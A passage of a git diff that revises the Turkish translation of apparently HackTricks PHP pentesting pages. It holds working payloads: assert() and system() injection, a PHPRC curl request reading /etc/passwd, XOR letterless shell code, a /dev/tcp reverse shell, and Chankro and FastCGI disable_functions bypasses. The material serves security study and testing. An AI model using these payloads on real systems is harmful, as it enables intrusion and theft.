ki bu da [PHP belgelerinde](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) belirtildiği gibi `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\ Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### PHP obfuscation için Tip Karıştırma +### PHP obfuscation için Tip Dönüşümü ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -151,19 +151,19 @@ Kontrol et: ../../../pentesting-web/file-inclusion/ {{#endref}} -## Daha fazla hile +## Daha Fazla Hile -- **register_globals**: **PHP < 4.1.1.1** veya yanlış yapılandırılmışsa, **register_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param** üzerinden erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri **üzerine yazabilirsiniz**. +- **register_globals**: **PHP < 4.1.1.1**'de veya yanlış yapılandırıldığında, **register_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param üzerinden erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek, kod içinde kullanılan değişkenleri** üzerine yazabilirsiniz. - **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini** sağlayabilirsiniz ve diğer yol çerezinin değerini ayarlayabilirsiniz.\ -Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek). +Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'de karşılık gelen ismi vererek). - Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını görmek için adresi kontrol edin: **/\~\**. -- Eğer bir php yapılandırmasında **`register_argc_argv = On`** varsa, boşluklarla ayrılmış sorgu parametreleri **`array_keys($_SERVER['argv'])`** dizisini doldurmak için kullanılır, sanki **CLI'den gelen argümanlar** gibi. Bu ilginçtir çünkü eğer bu **ayar kapalıysa**, **args dizisinin değeri `Null`** olacaktır, çünkü ars dizisi doldurulmayacaktır. Bu nedenle, bir web sayfası, `if (empty($_SERVER['argv'])) {` gibi bir karşılaştırma ile web olarak mı yoksa CLI aracı olarak mı çalıştığını kontrol etmeye çalışırsa, bir saldırgan **GET isteğinde `?--configPath=/lalala` gibi parametreler gönderebilir** ve bunun CLI olarak çalıştığını düşünecek ve bu argümanları ayrıştırıp kullanabilir. Daha fazla bilgi için [orijinal yazıya](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) bakın. +- Eğer bir php yapılandırmasında **`register_argc_argv = On`** varsa, boşluklarla ayrılmış sorgu parametreleri **`array_keys($_SERVER['argv'])`** dizisini doldurmak için kullanılır, sanki **CLI'den gelen argümanlar gibi**. Bu ilginçtir çünkü eğer **bu ayar kapalıysa**, **args dizisinin değeri `Null`** olacaktır, çünkü ars dizisi doldurulmayacaktır. Bu nedenle, bir web sayfası, `if (empty($_SERVER['argv'])) {` gibi bir karşılaştırma ile web olarak mı yoksa CLI aracı olarak mı çalıştığını kontrol etmeye çalışırsa, bir saldırgan **GET isteğinde `?--configPath=/lalala` gibi parametreler gönderebilir** ve bunun CLI olarak çalıştığını düşünecek ve bu argümanları ayrıştırıp kullanabilir. Daha fazla bilgi için [orijinal yazıya](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) bakın. - [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify -Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir şifrenin bir hash ile karşılaştırıldığında doğru olup olmadığını **kontrol etmek** için kullanılır.\ -Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72 baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır: +Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir hash ile karşılaştırıldığında bir şifrenin doğru olup olmadığını **kontrol etmek** için kullanılır.\ +Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` (başlar `$2y$`). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu unutmayın.** Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -175,7 +175,7 @@ True #### Başlıkları ayarladıktan sonra hata oluşturma -[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtında başlıkları ayarlamayacağını görebilirsiniz. +[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtta başlıkları ayarlamayacağını görebilirsiniz. Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlatmaya olanak tanır: ```php @@ -224,12 +224,12 @@ Bu preg_replace seçeneği **PHP 5.5.0 itibarıyla kullanımdan kaldırılmışt ``` ### **Assert() ile RCE** -php içindeki bu fonksiyon, **bir dizede yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:\ -`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunları yapabilirsiniz: +Bu php içindeki fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:\ +`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunu yapabilirsiniz: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -Kod **sözdizimini** **bozmanız**, **payload**'ınızı **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa payload'ımız çalışmayacaktır. Aynı şekilde ";" de çalışmaz çünkü payload'ımız çalışmayacaktır. +Kod **sözdizimini** **bozmanız**, **payload'unuzu** **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa payload'unuz çalışmayacaktır. Aynı şekilde ";" çalışmaz çünkü payload'unuz çalışmayacaktır. **Diğer bir seçenek**, dizeye komutun yürütülmesini eklemektir: `'.highlight_file('.passwd').'` @@ -277,11 +277,11 @@ Farklı .htaccess shell'leri [burada](https://github.com/wireghoul/htshells) bul Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik açığı bulursanız (ve dosya yüklemeye izin veren başka bir güvenlik açığı, daha fazla araştırmayla belki bu aşılabilir), bu davranışı **RCE** elde etmek için kötüye kullanabilirsiniz. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Bu env değişkeni, diğer ikili dosyaları çalıştırırken rastgele kütüphaneleri yüklemenize izin verir (bu durumda çalışmayabilir). -- **`PHPRC`** : PHP'ye **konfigürasyon dosyasını nerede bulacağını** belirtir, genellikle `php.ini` olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebilirseniz, o zaman `PHPRC`'yi ona işaret edecek şekilde kullanın. İkinci bir yüklenmiş dosyayı belirten bir **`auto_prepend_file`** girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce **çalıştırılan** normal **PHP kodunu** içerir. +- **`PHPRC`** : PHP'ye **konfigürasyon dosyasını nerede bulacağını** belirtir, genellikle `php.ini` olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebiliyorsanız, o zaman `PHPRC`'yi ona işaret edecek şekilde ayarlayın. İkinci yüklenen dosyayı belirten bir **`auto_prepend_file`** girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce **çalıştırılan** normal **PHP kodunu** içerir. 1. Shell kodumuzu içeren bir PHP dosyası yükleyin. 2. Adım 1'de yüklediğimiz dosyayı çalıştırması için PHP ön işleyicisine talimat veren bir **`auto_prepend_file`** direktifi içeren ikinci bir dosya yükleyin. 3. `PHPRC` değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın. -- Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) edinebilirsiniz. +- Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) alın. - **PHPRC** - başka bir seçenek - Eğer **dosya yükleyemiyorsanız**, FreeBSD'de **`stdin`**'i içeren "file" `/dev/fd/0` kullanabilirsiniz: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` @@ -291,7 +291,7 @@ Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik a ### XAMPP CGI RCE - CVE-2024-4577 -Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır: +Web sunucusu HTTP isteklerini ayrıştırır ve bunları `http://host/cgi.php?foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir (`php.exe cgi.php foo=bar`), bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içinden PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeyi sağlar: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` @@ -312,7 +312,7 @@ phpinfo(); ``` ## PHP Sanitizasyon atlatma & Brain Fuck -[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterin izin verildiği bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.\ +[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterin izin verildiği bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkündür.\ Ayrıca, birkaç kontrolü atlatmalarını sağlayan fonksiyonları çalıştırmanın ilginç bir yolu da önerilmektedir: ```php (1)->{system($_GET[chr(97)])} @@ -327,9 +327,9 @@ $_COOKIE | if #This mea ``` Eğer bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı global olarak etkinleştirmek için `/etc/php5/apache2/php.ini` dosyasına `display_errors = On` ekleyebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2` -### PHP kodunu deşifre etme +### PHP kodunu deobfuscate etme -PHP kodunu deşifre etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.** +PHP kodunu deobfuscate etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.** ## PHP Wrapper'ları ve Protokoller @@ -353,7 +353,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b") -Eğer bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız**, RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin: +Eğer bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız** RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -376,14 +376,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR kolay shell kodu -[**bu yazıya** ](https://mgp25.com/ctf/Web-challenge/)göre, aşağıdaki şekilde kolay bir shell kodu oluşturmak mümkündür: +[**bu yazıya** ](https://mgp25.com/ctf/Web-challenge/)göre, aşağıdaki şekilde kolay bir shellcode oluşturmak mümkündür: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -Yani, eğer **rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız**, aşağıdaki gibi bir istek göndererek o yükü kötüye kullanarak rastgele PHP çalıştırabilirsiniz: +Yani, eğer **rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız**, o zaman aşağıdaki gibi bir istek gönderebilirsiniz; bu yükü kullanarak rastgele PHP çalıştırmak için: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded @@ -412,7 +412,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` -### Perl benzeri +### Perl gibi ```php & /dev/tcp/127.0.0.1/4444 0>&1"]); ``` -**mail / mb_send_mail** - Bu fonksiyon e-posta göndermek için kullanılır, ancak `$options` parametresine keyfi komutlar enjekte etmek için de kötüye kullanılabilir. Bunun nedeni, **php `mail` fonksiyonu** genellikle sistemdeki `sendmail` ikili dosyasını çağırması ve **ekstra seçenekler** koymanıza izin vermesidir. Ancak, yürütülen komutun çıktısını göremeyeceksiniz, bu nedenle çıktıyı bir dosyaya yazan bir shell script oluşturmanız, bunu mail ile çalıştırmanız ve çıktıyı yazdırmanız önerilir: +**mail / mb_send_mail** - Bu fonksiyon e-postaları göndermek için kullanılır, ancak `$options` parametresine keyfi komutlar enjekte etmek için de kötüye kullanılabilir. Bunun nedeni, **php `mail` fonksiyonu** genellikle sistemde `sendmail` ikili dosyasını çağırması ve **ekstra seçenekler** koymanıza izin vermesidir. Ancak, yürütülen komutun çıktısını göremeyeceksiniz, bu nedenle çıktıyı bir dosyaya yazan bir shell script oluşturmanız, bunu mail ile çalıştırmanız ve çıktıyı yazdırmanız önerilir: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` -**dl** - Bu fonksiyon, dinamik olarak bir PHP uzantısını yüklemek için kullanılabilir. Bu fonksiyon her zaman mevcut olmayabilir, bu yüzden onu istismar etmeye çalışmadan önce mevcut olup olmadığını kontrol etmelisiniz. [Bu sayfayı okuyun, bu fonksiyonu nasıl istismar edeceğinizi öğrenin](disable_functions-bypass-dl-function.md). +**dl** - Bu fonksiyon, dinamik olarak bir PHP uzantısını yüklemek için kullanılabilir. Bu fonksiyon her zaman mevcut olmayabilir, bu yüzden onu istismar etmeden önce mevcut olup olmadığını kontrol etmelisiniz. [Bu sayfayı okuyarak bu fonksiyonu nasıl istismar edeceğinizi öğrenin](disable_functions-bypass-dl-function.md). ### PHP Kod Çalıştırma @@ -85,12 +85,12 @@ Her iki yapılandırma da **`phpinfo()`** çıktısında görülebilir: ## open_basedir Bypass -`open_basedir`, PHP'nin erişebileceği klasörleri yapılandırır, bu nedenle **bu klasörlerin dışındaki** herhangi bir dosyayı yazma/okuma/çalıştırma işlemi **yapamazsınız**, ayrıca diğer dizinleri **listeleyemezsiniz**.\ +`open_basedir`, PHP'nin erişebileceği klasörleri yapılandırır, bu nedenle **bu klasörlerin dışındaki** herhangi bir dosyayı yazma/okuma/çalıştırma **imkanınız olmayacaktır**, ayrıca diğer dizinleri **listeleme** bile yapamazsınız.\ Ancak, bir şekilde rastgele PHP kodu çalıştırabiliyorsanız, kısıtlamayı **aşmak** için aşağıdaki **kod** parçalarını **deneyebilirsiniz**. -### glob:// bypass ile dizinleri listeleme +### glob:// ile dizinleri listeleme bypass'ı -Bu ilk örnekte, bazı yol aşımının kullanıldığı `glob://` protokolü kullanılmaktadır: +Bu ilk örnekte `glob://` protokolü ile bazı yol bypass'ları kullanılır: ```php "; } ``` **Not1**: Yolda `/e??/*` kullanarak `/etc/*` ve diğer klasörleri listeleyebilirsiniz.\ -**Not2**: Kodun bir kısmının kopyalandığı gibi görünüyor, ama bu aslında gereklidir!\ +**Not2**: Görünüşe göre kodun bir kısmı tekrarlanmış, ama bu aslında gereklidir!\ **Not3**: Bu örnek yalnızca klasörleri listelemek için yararlıdır, dosyaları okumak için değil. ### Tam open_basedir bypass FastCGI'yi istismar etme Eğer **PHP-FPM ve FastCGI hakkında daha fazla bilgi edinmek istiyorsanız** bu sayfanın [ilk bölümünü](disable_functions-bypass-php-fpm-fastcgi.md) okuyabilirsiniz.\ -Eğer **`php-fpm`** yapılandırılmışsa, **open_basedir**'i tamamen atlatmak için bunu istismar edebilirsiniz: +Eğer **`php-fpm`** yapılandırılmışsa, bunu **open_basedir**'i tamamen atlamak için istismar edebilirsiniz: ![](<../../../../images/image (545).png>) ![](<../../../../images/image (577).png>) -İlk yapmanız gereken şey, **php-fpm'in unix soketinin** nerede olduğunu bulmaktır. Genellikle `/var/run` altında bulunur, bu yüzden **önceki kodu kullanarak dizini listeleyip bulabilirsiniz**.\ +İlk yapmanız gereken şey **php-fpm'in unix soketinin** nerede olduğunu bulmaktır. Genellikle `/var/run` altında bulunur, bu yüzden **önceki kodu kullanarak dizini listeleyip bulabilirsiniz**.\ [Buradan](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) kod. ```php request($params, $code)."\n"; ?> ``` -Bu scriptler, **unix socket of php-fpm** ile iletişim kurarak rastgele kod çalıştırmak için kullanılacaktır (genellikle fpm kullanılıyorsa /var/run içinde bulunur). `open_basedir` ayarları, gönderilen **PHP_VALUE** niteliği ile geçersiz kılınacaktır.\ +Bu scriptler, **php-fpm'in unix soketi** ile iletişim kurarak rastgele kod çalıştırmak için kullanılacaktır (genellikle fpm kullanılıyorsa /var/run içinde bulunur). `open_basedir` ayarları, gönderilen **PHP_VALUE** niteliği ile geçersiz kılınacaktır.\ Gönderdiğiniz PHP kodunu **cmd** parametresi içinde çalıştırmak için `eval`'in nasıl kullanıldığına dikkat edin.\ -Ayrıca **yorum satırı 324**'e de dikkat edin, bunu yorumdan çıkarabilir ve **payload otomatik olarak verilen URL'ye bağlanıp orada bulunan PHP kodunu çalıştıracaktır.**\ +Ayrıca **yorum satırı 324**'e dikkat edin, bunu yorumdan çıkarabilir ve **payload, verilen URL'ye otomatik olarak bağlanıp orada bulunan PHP kodunu çalıştıracaktır.**\ Sadece `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` adresine erişerek `/etc/passwd` dosyasının içeriğini alabilirsiniz. > [!WARNING] @@ -482,20 +482,20 @@ Sadece `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd ## disable_functions Bypass -Eğer bir makinede PHP kodu çalıştırmayı başarırsanız, muhtemelen bir sonraki seviyeye geçmek ve **rastgele sistem komutları çalıştırmak** istersiniz. Bu durumda, çoğu veya tüm PHP **fonksiyonlarının** **sistem komutlarını çalıştırmasına izin vermediğini** keşfetmek yaygındır **`disable_functions`** içinde.\ -Bu kısıtlamayı nasıl aşabileceğinizi görelim (eğer aşabilirseniz) +Eğer bir makinede PHP kodu çalıştırmayı başarırsanız, muhtemelen bir sonraki seviyeye geçmek ve **rastgele sistem komutları çalıştırmak** istersiniz. Bu durumda, çoğu veya tüm PHP **fonksiyonlarının** **sistem komutlarını çalıştırmasına izin vermek için **`disable_functions`**'da devre dışı bırakıldığını keşfetmek yaygındır.\ +Bu kısıtlamayı nasıl aşabileceğinizi görelim (eğer aşabiliyorsanız) ### Otomatik bypass keşfi -[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) aracını kullanabilir ve hangi fonksiyonu (varsa) **`disable_functions`**'ı **bypass** etmek için kullanabileceğinizi gösterecektir. +[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) aracını kullanabilirsiniz ve bu, hangi fonksiyonun (varsa) **`disable_functions`**'ı **bypass** etmek için kullanılabileceğini gösterecektir. -### Diğer sistem fonksiyonlarını kullanarak bypass +### Diğer sistem fonksiyonları kullanarak bypass -Bu sayfanın başına geri dönün ve **komut çalıştırma fonksiyonlarından herhangi birinin devre dışı olmadığını ve ortamda mevcut olup olmadığını kontrol edin**. Eğer bunlardan sadece 1 tanesini bulursanız, rastgele sistem komutları çalıştırmak için bunu kullanabileceksiniz. +Bu sayfanın başına geri dönün ve **komut çalıştırma fonksiyonlarından herhangi birinin devre dışı bırakılmadığını ve ortamda mevcut olup olmadığını kontrol edin**. Eğer bunlardan sadece 1 tanesini bulursanız, rastgele sistem komutları çalıştırmak için bunu kullanabileceksiniz. ### LD_PRELOAD bypass -PHP'de `mail()` gibi bazı fonksiyonların **sistemde ikili dosyaları çalıştıracağı** iyi bilinmektedir. Bu nedenle, bunları `LD_PRELOAD` ortam değişkenini kullanarak, herhangi bir şeyi çalıştırabilen rastgele bir kütüphaneyi yüklemek için kötüye kullanabilirsiniz. +PHP'de `mail()` gibi bazı fonksiyonların **sistemde ikili dosyaları çalıştıracağı** iyi bilinmektedir. Bu nedenle, `LD_PRELOAD` ortam değişkenini kullanarak bunları kötüye kullanabilir ve herhangi bir şeyi çalıştırabilen rastgele bir kütüphaneyi yüklemelerini sağlayabilirsiniz. #### LD_PRELOAD ile disable_functions'ı bypass etmek için kullanılabilecek fonksiyonlar @@ -524,10 +524,10 @@ return 1; #### Chankro Kullanarak Bypass Bu yanlış yapılandırmayı istismar etmek için [**Chankro**](https://github.com/TarlogicSecurity/Chankro) kullanabilirsiniz. Bu, yüklemeniz ve çalıştırmanız gereken **bir PHP istismarı** oluşturacak bir araçtır (web üzerinden erişin).\ -**Chankro**, kurbanın diskinin içine **kütüphane ve ters shell** yazacak ve **`LD_PRELOAD` hilesi + PHP `mail()`** fonksiyonunu kullanarak ters shell'i çalıştıracaktır. +**Chankro**, kurbanın diskinin içine çalıştırmak istediğiniz **kütüphane ve ters shell** yazacak ve **`LD_PRELOAD` hilesi + PHP `mail()`** fonksiyonunu kullanarak ters shell'i çalıştıracaktır. **Chankro**'yu kullanmak için `mail` ve `putenv` **`disable_functions` listesinde yer almamalıdır**.\ -Aşağıdaki örnekte, **arch 64** için **bir chankro istismarı** nasıl oluşturulacağını görebilirsiniz; bu, `whoami` komutunu çalıştıracak ve çıktıyı _/tmp/chankro_shell.out_ dosyasına kaydedecek, chankro **kütüphane ve yükü** _/tmp_ dizinine yazacak ve **son istismar** **bicho.php** olarak adlandırılacaktır (bu, kurbanın sunucusuna yüklemeniz gereken dosyadır): +Aşağıdaki örnekte, `whoami` komutunu çalıştıracak ve çıktıyı _/tmp/chankro_shell.out_ dosyasına kaydedecek **arch 64 için bir chankro istismarı** nasıl oluşturulacağını görebilirsiniz. Chankro, _/tmp_ dizinine **kütüphane ve yükü** yazacak ve **son istismar** **bicho.php** olarak adlandırılacaktır (bu, kurbanın sunucusuna yüklemeniz gereken dosyadır): {{#tabs}} {{#tab name="shell.sh"}} @@ -547,10 +547,10 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php Eğer **mail** fonksiyonunun devre dışı bırakılmış fonksiyonlar tarafından engellendiğini bulursanız, **mb_send_mail** fonksiyonunu kullanmaya devam edebilirsiniz.\ Bu teknik ve Chankro hakkında daha fazla bilgi burada: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) -### PHP yetenekleri kullanarak "Bypass" +### "Bypass" PHP yetenekleri kullanarak **PHP** kullanarak **dosyaları okuyabilir ve yazabilir, dizinler oluşturabilir ve izinleri değiştirebilirsiniz.**\ -Hatta **veritabanlarını dökebilirsiniz.**\ +Ayrıca **veritabanlarını dökebilirsiniz.**\ Belki **PHP** kullanarak kutuyu **numaralandırarak** ayrıcalıkları artırmanın/komutları çalıştırmanın bir yolunu bulabilirsiniz (örneğin, bazı özel ssh anahtarlarını okuyarak). Bu eylemleri gerçekleştirmeyi çok kolaylaştıran bir webshell oluşturdum (çoğu webshell'in de bu seçenekleri sunduğunu unutmayın): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) @@ -560,7 +560,7 @@ Bu eylemleri gerçekleştirmeyi çok kolaylaştıran bir webshell oluşturdum ( Belirli bir modül kullanılıyorsa veya belirli bir PHP sürümünü istismar ediyorsanız, disable_functions'ı atlatmanın birkaç yolu vardır: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) -- [**FFI - Yabancı Fonksiyon Arayüzü etkinleştirilerek Bypass**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) +- [**FFI ile Bypass - Yabancı Fonksiyon Arayüzü etkin**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) - [**mem üzerinden Bypass**](disable_functions-bypass-via-mem.md) - [**mod_cgi**](disable_functions-bypass-mod_cgi.md) - [**PHP Perl Uzantısı Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) @@ -589,7 +589,7 @@ Belirli bir modül kullanılıyorsa veya belirli bir PHP sürümünü istismar e Aşağıdaki script burada bahsedilen bazı yöntemleri dener:\ [https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php) -## Diğer İlginç PHP fonksiyonları +## Diğer İlginç PHP Fonksiyonları ### Geri çağırmaları kabul eden fonksiyonlar listesi @@ -635,7 +635,7 @@ Bu fonksiyonlar, saldırganın seçimine göre bir fonksiyonu çağırmak için ``` ### Bilgi Sızdırma -Bu fonksiyon çağrılarının çoğu sink değildir. Ancak, dönen verilerden herhangi biri bir saldırgan tarafından görülebiliyorsa bu bir zafiyet olabilir. Eğer bir saldırgan phpinfo() görebiliyorsa, bu kesinlikle bir zafiyettir. +Bu fonksiyon çağrılarının çoğu bir sink değildir. Ancak, dönen verilerden herhangi biri bir saldırgan tarafından görülebiliyorsa bu kesinlikle bir zayıflık olabilir. Eğer bir saldırgan phpinfo() görebiliyorsa, bu kesinlikle bir zayıflıktır. ```php phpinfo posix_mkfifo @@ -677,9 +677,9 @@ posix_setuid ``` ### Dosya Sistemi Fonksiyonları -RATS'a göre php'deki tüm dosya sistemi fonksiyonları kötü. Bunlardan bazıları saldırgan için çok faydalı görünmüyor. Diğerleri ise düşündüğünüzden daha faydalı. Örneğin, allow_url_fopen=On ise bir url dosya yolu olarak kullanılabilir, bu nedenle copy($\_GET\['s'], $\_GET\['d']); çağrısı, bir PHP betiğini sistemin herhangi bir yerine yüklemek için kullanılabilir. Ayrıca, bir site GET ile gönderilen bir isteğe karşı savunmasızsa, bu dosya sistemi fonksiyonlarının her biri, sunucunuz aracılığıyla başka bir hosta saldırı yönlendirmek için kötüye kullanılabilir. +RATS'a göre, php'deki tüm dosya sistemi fonksiyonları kötü niyetlidir. Bunlardan bazıları saldırgan için çok faydalı görünmüyor. Diğerleri ise düşündüğünüzden daha faydalı olabilir. Örneğin, allow_url_fopen=On ise, bir URL dosya yolu olarak kullanılabilir, bu nedenle copy($\_GET\['s'], $\_GET\['d']); çağrısı, sistemde herhangi bir yere bir PHP betiği yüklemek için kullanılabilir. Ayrıca, bir site GET ile gönderilen bir isteğe karşı savunmasızsa, bu dosya sistemi fonksiyonlarının her biri, sunucunuz aracılığıyla başka bir ana bilgisayara saldırı yönlendirmek için kötüye kullanılabilir. -**Açık dosya sistemi işleyici** +**Açık dosya sistemi işleyicisi** ```php fopen tmpfile diff --git 